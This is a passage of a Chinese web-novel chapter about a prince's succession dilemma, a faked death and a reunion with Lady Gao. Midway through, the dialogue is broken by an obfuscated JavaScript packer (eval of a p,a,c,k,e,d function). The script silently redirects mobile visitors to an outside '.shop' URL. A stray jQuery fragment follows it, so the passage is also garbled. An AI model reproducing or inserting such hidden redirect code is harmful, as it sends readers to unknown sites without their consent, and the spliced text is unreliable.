见钱喜抖如筛糠,谢钧更是费解起来:“为什么,看到我活着你不高兴吗?”
“你,你,你居然——”钱喜的手指哆哆嗦嗦的指向谢钧:“你没死!”
“对啊,我的确没死,公公何必惊讶成这样?”谢钧回答得理所当然:“不是借尸还魂,没有那么怪力乱神的事情。”
“又不是写戏本,你想那么多干什么?”
钱喜两眼一翻,硬生生被谢钧吓晕了过去。
白水城四门大开,龟缩在城中的禁军残部纷纷归降。
刘峰思来想去,最后还是决定保住跟自己出生入死的兄弟们,毅然担起了招安的任务。
“报——!前方有敌情!”
高夫人兵临白水城下,打着给儿子报仇的名义,两万精兵严阵以待,准备和赵瑾等人一决生死。
“还是走到了这一步。”杨湫和赵瑾并肩站在城楼上,喃喃自语。
“做什么呢,你们两个愁眉苦脸的?”谢钧冷不丁出声问道。
“没什么,和亲人兵戎相见,有些难过。”赵瑾听到熟悉的声音,下意识地回答了他的问题,过了片刻才意识到不妥之处。
等等,谢钧?赵瑾这才反应过来,猛地回过头去看:“谢钧?”
谢钧吊儿郎当地站在他背后,看着赵瑾一脸见鬼了的表情,夸张的后退了一大步。
“你这是什么表情?我长得这么不堪入目吗?”谢钧摸了摸自己的脸。
“二表哥?”杨湫情不自禁的磕巴了一下:“你怎么——”
“托福托福,鄙人没死。”谢钧笑着说道:“开城门吧,是我娘来了。”
城内守军乍一听这话,以为谢钧是对方派来的内应,险些抽出刀来架在他脖子上。
“哎哎哎,误会误会,一场误会。”谢钧举起双手,一脸得意地冲着赵瑾挑眉:“怎么着,小殿下,见到我高兴吗?”
“谢钧!”赵瑾见他这一幅吊儿郎当的样子,更是气不打一处来,几步走过去给了他一拳:“好你个谢二,我还以为你真的,真的——”
“你不会以为我真死了吧?”谢钧乐不可支地道:“真的假的,你不会还为我掬过伤心泪吧?快跟我说说,有没有?”
赵瑾没好气地白了他一眼:“伤心什么,祸害遗千年,知道你死不了!”
“这话我同意。”杨湫松了口气,见谢钧这幅模样,顿时冷笑起来:“二表哥玩得一手好金蝉脱壳。”
“哎呀,三表妹,这话不能这样说。”谢钧朝她挤眉弄眼:“好歹咱也是戏班子出来的,当然要会演戏咯。”
“你跟怀王殿下早就串通好了?”杨湫冷不丁地问道。
谢钧一时间没反应过来,下意识地说道:“怀王?他怎么了?他不是配合的天衣无缝,哎呀——”
谢钧懊恼地捂住嘴,赵瑾瞪大了眼睛,更是气不打一处来。
“原来你和五哥早就串通好了,故意瞒着我和静梧两个人是吧?”赵瑾咬牙切齿地说道:“谢二,我跟你还是好兄弟吗?”
“那当然是,怎么了?”谢钧理所当然地道。
赵瑾别过头去生闷气,杨湫叹了口气,也不再搭理他,转而吩咐龙虎卫打开城门。
高夫人引两万精兵投奔,大军驻扎在据此三十里外的崤山关。
“谢钧!你这个臭小子!”高夫人刚进城就狠狠拍了一下谢钧:“想得什么馊主意,害得你老娘哭得一把鼻涕一把泪的!”
谢钧‘嘿嘿’笑了两声,道:“多亏娘亲配合,这出瞒天过海不是成功了吗?”
高夫人故作生气的‘哼’了一声,眼底却是藏不住的笑意,似乎很满意。
“舅母!”
杨湫撩起裙摆,从城楼上飞奔下来:“舅母!湫儿好想您!”
“湫儿!”高夫人眉开眼笑,伸出双臂一把接住扑过来的杨湫,用力抱紧她:“这段日子辛苦你了,让舅母好好看看。”
赵瑾跟在她身后,隔着一段距离看着高夫人,良久才出声:“舅母。”
“哎,康王殿下。”高夫人抬起头,对上赵瑾的目光,仔细打量了一番:“这段日子,苦了你们两个了。”
高夫人朝着赵瑾伸出手,赵瑾抿着唇,犹豫了片刻,才走上前去。
“好小子,最近吃了不少苦吧。”高夫人用力抱着两个孩子,声音轻柔:“舅母在这呢,不怕了啊。”
虽然大家心知肚明,杨湫和赵瑾绝非孩童,但是此刻在高夫人眼中,还是两个长不大的晚辈罢了。
杨湫的眼眶微微湿润,更用力牵住高夫人的衣角,低声唤道:“舅母——”
“哎,舅母在呢。”高夫人语调轻快地回应了,仿佛这不是久别重逢,仍然像过去一般,他们去相府做客,拉着高夫人的衣角撒娇一样。
赵瑾匆匆擦掉自己眼角渗出的泪花,抬起头看着高夫人:“舅母远道而来辛苦,先去厅堂落座,我们再详谈吧。”
“好。”高夫人应了下来,一只手牵着一个孩子,还不忘记招呼谢钧:“钧儿,跟上,别走丢了!”
谢钧抱着双臂,步伐轻快的追在高夫人身后,时不时贫两句,又被高夫人笑着骂回去。
厅堂之内,各军主将都已到齐,见到高夫人的身影,略微有些诧异。
“长话短说吧。”赵瑾开口向各位将军解释:“高将军不是敌军,她此次来白水城,是因为——”
赵瑾三言两语解释了事情的来龙去脉,高夫人在一旁默默听着,又补充了几句话。
“那昏君拨给我两万精兵,现在都被我留在了崤山关。京畿一带还有禁军西大营及北大营的军力驻守,却也不成气候。”
“先前我们俘虏了禁军主将刘峰,他已经答应出面劝降。”杨湫将话茬子接过去,道:“眼下就是进攻京城的问题了。”
“他必定会放手一搏。”赵瑾沉默了片刻,道:“以防万一,倘若他用京城军民做要挟。”
“以这个昏君的行事作风,说不准真的会这样做。”谢钧摊开手道。
杨湫想起齐王的所作所为,胸口顿时腾盛起一股怨气来。
“二姐还在他手里。”杨湫冷冷地道:“齐王一定会拿她做威胁。”
杨湫自然不可能承认齐王这个皇帝的合法性,时至今日还在坚持不懈的叫他齐王。
他既然能将杨斐的遗物送来两军阵前,说不准还会做出更出格的事情。
“京畿防务是我一手安排,你们放心好了。”高夫人拍拍胸脯保证道:“没人比我更清楚。”
“那一切仰赖高将军了。”赵瑾说道。
天色已晚,众人各自散去休憩,准备之后一路疾驰,早日打到京城。
赵珙和谢钧坐在一起,嘴还没张开,就被一阵敲门声打断。
“五哥,你休息了吗?”
“来兴师问罪了。”赵珙用气声问道:“谢二,你怎么说?”
赵瑾的身影在门口伫立,似乎并没有离开的意愿,谢钧倒是很无所谓:“反正要找的是你。”
他走过去,一把拉开门,对着赵瑾露出一个灿烂至极的笑容:“你们兄弟两个慢聊,我先回避。”
赵珙僵在原地,眼睁睁看着谢钧出卖了自己,扬长而去。
“咳咳,六弟。你要问什么?谢二的事?还是——”赵珙眼神疯狂躲闪,不知道赵瑾准备先从哪个问题开始兴师问罪。
大行皇帝驾崩之后,他们仅有的交流只有交接那份遗诏,此后并未详谈过。
老实讲,赵珙心内仍然存有疑虑,他并不知道这段时间赵瑾思考得如何,却又隐约放下了心:他既然拿着虎符调兵,想必也做好了回去继位的准备。
只是那份遗诏,赵珙又开始头痛起来,大行皇帝坚决要隐瞒自己亏待过谢芷君的事实,让赵瑾说不出咽不下,坐在皇位上也一辈子不能心安。
“谢钧的事,我前头听舅母说了。”赵瑾道:“皇叔用心险恶,多亏你们将计就计。”
“哦,哦。”赵珙讪讪地应了下来,开始找补:“毕竟不到最后关头,我也不好对你和东阳郡主说实话,并不是有意欺瞒你们的。”
“我知道,五哥不必解释。”赵瑾沉吟片刻,才缓缓地道:“等我们拿下京城,五哥准备何去何从?”
“你怎么问这个?”赵珙一时间摸不着头脑起来:“自然是前往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877407|203441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
封地。你,你这是什么意思?”
“我自然也要去往封地。”赵瑾慢吞吞地说道:“父皇生前已经对我叮嘱过数次,要我在蜀中安心终老。”
赵珙的汗根根竖立,连忙出声劝阻:“六弟,三思而后行!这可不是儿戏啊!”
“并非儿戏,只是遵从父皇的旨意罢了。”
赵瑾呼出一口气,声音低落下去:“这些日子,我总在想这件事。却一直没有答案。”
“唉,六弟。其实你不用为此纠结。”赵珙低声劝慰道:“且不论你的心思如何,你和东阳郡主发出缴贼檄文,从那个时候开始,这位置注定由你来坐了。”
“那五哥作何感想呢?”赵瑾避而不答,反问道:“其他几位兄长皆已离世,如今只剩你我,你为长,应当由你继承大统。”
“我早说过,我无意于此。”赵珙不厌其烦地又解释了一遍:“六弟,你不要妄自菲薄。”
“我不是妄自菲薄,只是不愿意。”赵瑾道:“如果继承大统一定要,要——”
如果一定要遵照父皇的遗诏,隐瞒这桩皇家丑闻,才能得到至尊之位,倒不如隐居蜀中,至少活得心安理得。
“遗诏是我私下里交给你的,又没有别人知道。”赵珙无奈地笑出声来:“六弟,你何须在意那个?”
“是吗?”赵瑾轻声道。
“自然是,你且想想。”赵珙见状,立刻开始添油加醋:“你是中宫所出,出手平定皇叔作乱,有大功于朝,怎么看都是你更适合。”
“国公府和淑娘娘会答应吗?”赵瑾抬起眼睛看向赵珙,眼神还像从前一般澄澈。
“唉,我知道你不愿意,无非是过不去父皇那道坎。”赵珙笑了笑,对赵瑾说道:“可是六弟,你一旦去了蜀中,就更没有机会了。”
赵瑾沉默不语,只听赵珙接着分析了下去:“父皇的命令你知我知,等到你大权在握,谁能阻拦你?”
他蓦然想起那天晚上的梦境,梦里谢芷君曾经说,一切都不会怨他。
“我只是下不了决心。”赵瑾苦笑一声:“我知道回去要面对什么,但是皇叔不得不杀,我也不想在失去最后一个兄弟。”
“你既然还念着兄弟情分,就答应五哥最后一个要求。”赵珙放轻了声音道:“别再踯躅不前。”
赵瑾深吸了一口气,点了点头。
他早就应该下定决心了,除掉了齐王,大仇得报,自己未来该如何取舍,早就该做下决定了。
“你知道的,父皇一向没有在我身上抱多大期待。”
赵珙回忆起大行皇帝驾崩的那一天,忽然笑出了声:“东阳郡主带着遗诏离开,他还打算让我继承。”
赵瑾看向他的目光透着几分了然,似乎早就猜到了一样。
“我知道,父皇从来没有考虑过我。”赵瑾道:“我何必让他死后也不得安宁。”
“父皇同样没考虑过我,只是权宜之计罢了。他最清楚你的性子,父皇明白,只要你即位,你一定会想办法给母后一个交代。”
赵珙一字一句说道:“但是你知道了这件事,宁愿选择放弃皇位。父皇未必不清楚。”
否则他也不必留下那样一份遗诏,大行皇帝心里最为明白,他将虎符交托给杨湫,将来最后可能上位的,自然是赵瑾。
留下遗诏,是最后的保证。
“可是五哥,你当真没有——”赵瑾说到一半,忍不住又去窥探赵珙的神色。
“我当时就拒绝了父皇。”赵珙笑了一声,道:“我宁可放浪形骸,醉卧花丛。也不要回去做什么九五之尊。”
不论何时,赵珙都不在皇帝属意的继承人里面,只是为了保全自己身后清名,才不得已选择了赵珙。
“我不知道父皇那一刻究竟在想什么,或许我们从来都没弄清楚过。”
赵珙深吸了一口气,道:“斯人已逝,六弟,你再多纠结也没有意义了。”
“如果我坚持要去蜀中呢?”赵瑾犹然不死心,问道。
“那就会有朝臣劝诫我杀你。”赵珙的眸光骤然阴沉:“功高震主,即便我能容你,朝臣们也会想尽办法劝说我杀了你。”